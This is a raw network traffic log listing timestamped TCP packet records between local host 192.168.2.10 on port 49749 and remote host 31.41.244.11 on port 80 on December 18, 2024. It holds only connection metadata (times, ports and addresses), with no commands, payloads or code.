Dec 18, 2024 15:56:11.340661049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.340718031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.340730906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.340761900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.345169067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.345235109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.345246077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.345297098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.349692106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.349787951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.349791050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.349843025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.354155064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.354181051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.354259014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.354280949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.358530045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.358594894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.358612061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.358656883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.363091946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.363125086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.363185883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.367554903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.367671013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.367690086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.367727041 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.372037888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.372121096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.372215986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.372272015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.376473904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.376507998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.376593113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.380892992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.380964041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.380970001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.381061077 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.385418892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.385500908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.385582924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.385582924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.389935970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.390005112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.390017033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.390069962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.394565105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.394642115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.394757986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.394818068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.398919106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.399085045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.399122953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.399154902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.403321028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.403390884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.403419971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.403527021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.408016920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.408027887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.408082962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.412324905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.412350893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.412394047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.412427902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.492425919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.492443085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.492543936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.495094061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.495170116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.518079996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.518110037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.518229961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.518358946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.518435001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.518515110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.518682003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.521718025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.521732092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.521804094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.525029898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.525119066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.525155067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.525208950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.528489113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.528505087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.528567076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.531913042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.531970024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.532062054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.532114983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.534965038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.535027027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.535144091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.535193920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.538211107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.538270950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.538393021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.538443089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.541254044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.541342974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.541421890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.541470051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.544409990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.544470072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.544579029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.544648886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.547506094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.547573090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.547668934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.547729015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.550523996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.550545931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.550589085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.550610065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.555110931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.555135012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.555202007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.556865931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.556960106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.556972027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.557020903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.559789896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.559813976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.559863091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.559879065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.562779903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.562864065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.562879086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.562942982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.565804958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.565902948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.565983057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.566032887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.568830967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.568903923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.568989038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.569041967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.572410107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.572431087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.572904110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.576913118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.576982975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.577096939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.577146053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.580183029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.580205917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.580280066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.582588911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.582659006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.582732916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.582802057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.585076094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.585153103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.585242033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.585308075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.587713003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.587788105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.587904930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.587974072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.589896917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.589957952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.591382027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.591453075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.593334913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.593401909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.593502045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.593555927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.596446991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.596467972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.596508026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.596524954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.599077940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.599149942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.599175930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.599231958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.602551937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.602581978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.602626085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.602638006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.605459929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.605530024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.605592966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.605659962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.608566046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.608680010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.608740091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.608824968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.611546040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.611567974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.611607075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.611633062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.614779949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.614803076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.614847898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.614847898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.617685080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.617764950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.617851973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.617908955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.620785952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.620867968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.684592962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.684762001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.684768915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.684815884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.686240911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.686309099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.686556101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.686614037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.686722994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.686781883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.689603090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.689623117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.689696074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.709650040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.709667921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.709750891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.710239887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.710314035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.710391045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.710499048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.712917089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.712939978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.713001013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.715265036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.715341091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.715775967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.715847969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.717607021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.717665911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.717797995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.717901945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.720277071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.720349073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.720611095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.720712900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.722464085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.722528934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.722642899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.722712994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.724875927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.724970102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.725055933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.725115061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.726779938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.726861954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.726871967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.726927042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.729737997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.729758024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.729815006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.731740952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.731764078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.731812000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.731848955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.733608007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.733635902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.733704090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.735840082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.735912085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.735943079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.736011028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.738135099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.738177061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.738209009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.738221884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.740300894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.740358114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.740402937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.740470886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.742613077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.742691994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.742717028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.742746115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.744616985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.744683981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.744735003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.744788885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.746809959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.746893883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.746902943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.746946096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.748698950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.748768091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.748907089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.748971939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.750811100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.750896931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.750973940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.751058102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.752841949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.752913952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.752943993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.753026962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.754883051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.754978895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.755034924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.755172014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.756989002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.757008076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.757062912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.758919001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.759037018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.759201050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.759254932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.761158943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.761253119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.761265039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.761339903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.763118982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.763164997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.763184071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.763222933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.765001059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.765106916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.765124083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.765156031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.767071009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.767152071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.767210007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.767250061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.769128084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.769167900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.769231081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.771151066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.771207094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.771267891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.771389961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.773164988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.773251057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.773318052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.773386002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.775290012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.775350094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.775360107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.775391102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.777332067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.777395010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.777401924 CET	80	49749	31.41.244.11	192.168.2.10
